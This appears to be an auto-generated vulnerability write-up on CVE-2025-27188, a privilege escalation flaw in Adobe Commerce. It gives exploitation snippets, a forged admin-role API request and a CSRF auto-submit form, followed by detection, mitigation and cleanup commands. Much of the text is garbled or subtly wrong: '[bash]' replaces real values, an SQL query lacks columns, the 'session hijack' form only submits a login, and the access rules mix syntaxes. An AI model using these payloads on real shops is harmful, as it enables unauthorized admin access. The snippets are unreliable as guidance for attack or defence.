How the CVE Works
CVE-2025-27188 is an Improper Authorization flaw in Adobe Commerce (versions 2.4.7-p4, 2.4.6-p9, 2.4.5-p11, 2.4.4-p12, 2.4.8-beta2 and earlier). The vulnerability allows attackers to bypass privilege checks, enabling unauthorized access to administrative functions. The exploit occurs due to insufficient validation of user roles during API requests, permitting low-privileged users to escalate privileges without interaction. Attackers craft malicious API calls, manipulating request parameters to gain admin-level access. The flaw resides in the role-based access control (RBAC) module, where session tokens are improperly verified, leading to broken authorization chains.
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Platform: Adobe Commerce
Version: ≤ 2.4.8-beta2
Vulnerability: Privilege Escalation
Severity: Critical
Date: 04/30/2025
What Undercode Say:
Exploitation:
- Craft a forged API request with elevated privileges:
POST /rest/V1/admin/role HTTP/1.1 Authorization: Bearer [bash] {"roleName":"admin","resources":["all"]}
2. Use CSRF to hijack admin sessions:
<form action="https://target.com/admin/session/login" method="POST"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="password" value="pwned"> </form> <script>document.forms[bash].submit();</script>
Detection:
1. Check for suspicious role assignments:
SELECT FROM authorization_role WHERE role_name LIKE '%admin%';
2. Audit API logs for anomalous requests:
grep -r "POST /rest/V1/admin" /var/log/adobe/commerce.log
Mitigation:
1. Apply Adobe’s patch immediately.
2. Restrict API endpoints via `.htaccess`:
<LocationMatch "/rest/V1/admin"> Require valid-user Order deny,allow Deny from all </LocationMatch>
3. Enforce IP whitelisting for admin panels:
location /admin {
allow 192.168.1.0/24;
deny all;
}
Post-Exploit Analysis:
1. Dump compromised user sessions:
bin/magento admin:user:list --status=active
2. Rollback malicious role changes:
bin/magento admin:role:delete --role-id=999
References:
- Adobe Security Bulletin: APSB25-12
- CVSS 4.0 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
– NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-27188
Sources:
Reported By:
Extra Source Hub:
Undercode
